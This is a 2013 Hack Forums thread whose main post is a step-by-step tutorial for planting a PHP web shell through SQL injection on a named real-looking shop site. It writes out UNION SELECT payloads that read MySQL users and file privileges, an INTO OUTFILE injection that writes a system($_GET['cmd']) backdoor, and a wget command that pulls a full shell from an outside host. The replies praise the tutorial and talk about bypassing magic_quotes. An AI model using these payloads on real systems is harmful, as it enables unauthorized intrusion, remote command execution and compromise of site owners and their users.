

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Upload a shell via SQL injection \[Pictures\]\[RE-WRITTEN\]](#)

HaxOr? - October 15, 2013, 6:14 am

Ok,so this tutorial will show you how to upload a shell via SQLi.

This method is useful when you have admin info and can't upload anything,or when you have admin info but you can't find admin login and so on.

NOTE: You cant use this method if magic_quotes are ON!/[u]

But this method is very rare!

Anyways let's start with our tutorial...

Things we will need:

- 1) Your shell/uploader source in .txt format!
- 2) Basic SQLi skill!

So let's say you injected our site like this:

Code `http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT`

`1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22,23,24--`

Now you have admin info you, you logged in and you failed uploading a shell.

Now our method comes to point.

Remember what column you should use. (Mine one will be 19)

Now type in your vuln. column "user" and at the end "FROM mysql.user" so URL would be like:

Code `http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT`

`1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,user,20,21,22,23,24 FROM mysql.user--`

`[img]http://img13.imageshack.us/img13/6453/03jc.png[/img]`

NOTE: If you get an error after this you can't use this method.

You should get what is the current user for the site.

Code root

Good.Now,remember that..You will need it.

Now we check users file privilege.

In your column type:

`"group_concat(user,0x3a,file_priv)"`

Code `http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT`

`1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(user,0x3a,file_priv),20,21,22,23,24`

`FROM mysql.user--`

`[/code]`

Now you should get all users and their privileges

`[img]http://img19.imageshack.us/img19/9975/ofdx.png[/img]`

Code root:Y,root:Y,apache:N,moto25_moto25:Y,moto25_moto25:N

Now our user was "root" If in previous command user was root:Y,that means we can make files on server.

Let's go to the next step.

To create a file into a server you need to find sites full path.
To do that you must cause an error, hopefully that error would give us our sites path.

NOTE: If you dont know how to cause an error to get a full path check this tutorial by [Th3PonyWizard!](#)

We got ours:

Code `/var/www/vhost/moto25/data/www/moto25.ru/`
 After that we must find writeable folder in our server.
 Just browse around or scan it with Acunetix.
 Usually `public_html` folder is writeable.
 For our example i used:

Code <http://shop.moto25.ru/equip/>
And it should be (Judging by our path)

Code `/var/www/vhost/moto25/data/www/moto25.ru/equip/`
Let's get back to our injection.

Code `http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--`
Our column should be our php line.
In there we type our command:

Code "<? system(\$_GET['cmd']); ?>"
NOTE: Quotation marks are required
NOTE: All other columns should be null (Not required)

```
Code http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,"""<?
system($_GET['cmd']); ?>""",null,null,null,null,null
And at the end we use "INTO OUTFILE" function.
```

Code `http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,'"'<?system($_GET['cmd']); ?>"',null,null,null,null,null INTO OUTFILE /var/www/vhost/moto25/data/www/moto25.ru/equip/`

Now we use site's full path,writeable folder and our file name:

```
Code /var/www/vhost/moto25/data/www/moto25.ru/equip/
Code [code]http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,""?
system($_GET['cmd']); ?>"" ,null,null,null,null,null INTO OUTFILE
/var/www/vhost/moto25/data/www/moto25.ru/equip/php_cmd.php
Now our shell should be spawned.
We now check if our file is created.
```

Code http://shop.moto25.ru/equip/php_cmd.php
You should get something like this:

Code Warning: system() [function.system]: Cannot execute a blank command in

/sites/full/path/phpcmd.php on line 1
That means we have created our file! Yay!
Now to spawn our shell:

Go to the file created and type:
Code ?cmd=wget www.host.com/yourshellsourcesource.txt -O shell.php

[code]http://shop.moto25.ru/equip/php_cmd.php?cmd=wget www.host.com/yourshellsourcesource.txt -O shell.php

To view the file go to:
Code http://shop.moto25.ru/equip/shell.php
But in my case i cant use system() because it is disabled. I used eval() for this website.

I hope you guys liked this tutorial, dont forget to bookmark it. :)

Jay? - October 15, 2013, 6:50 am
On a scale out of 1-10.

You're at least an 8.

Im gone brah - October 15, 2013, 7:49 am
Haxor, I know you love me. Your tutorials is always the best.

TearProgrammer - October 15, 2013, 7:53 am
Pretty sweet tutorial:D Followed it quite easily!

Skorp - October 15, 2013, 8:05 am
Very organized and a good tutorial.

LevelUp - October 15, 2013, 8:06 am
Dissapointed you didn't include information_schema.user_privileges method which does not require privs to execute (>5) unlike mysql.user.

Also magic quotes is easily bypassable with a bit of knowledge.

HaxOr? - October 15, 2013, 8:23 am
(Oct 15, 2013 08:06 AM)LevelUp Wrote: [\[CITE\]](#) Dissapointed you didn't include information_schema.user_privileges method which does not require privs to execute (>5) unlike mysql.user.

Also magic quotes is easily bypassable with a bit of knowledge.
Yeah, well this was an old tutorial so i wanted to refresh it. :)

I think this method wont work because INTO OUTFILE "" function. It requires apostrophe.
I can be wrong though. :3

LevelUp - October 15, 2013, 8:34 am
(Oct 15, 2013 08:23 AM)HaxOr? Wrote: [\[CITE\]](#) I think this method wont work because INTO OUTFILE "" function. It requires apostrophe.
I can be wrong though. :3
I never mentioned INTO OUTFILE :P

I have a different little trick.

HaxOr? - October 15, 2013, 8:39 am

(Oct 15, 2013 08:34 AM)LevelUp Wrote: [\[CITE\]](#) I never mentioned INTO OUTFILE :P

I have a different little trick.

Oooo, i would love you if you explain. Also Skype me, i'm in a trobule. :P

LevelUp - October 15, 2013, 8:49 am

(Oct 15, 2013 08:39 AM)HaxOr? Wrote: [\[CITE\]](#) Also Skype me, i'm in a trobule. :P

Don't use skype anymore, and you're not the only one mate.

Im gone brah - October 15, 2013, 11:39 am

(Oct 15, 2013 08:49 AM)LevelUp Wrote: [\[CITE\]](#) Don't use skype anymore, and you're not the only one mate.

That's why I could not get in touch with you arron. I've tried for a really long time.

Hopefully you'll get xmpp or something else?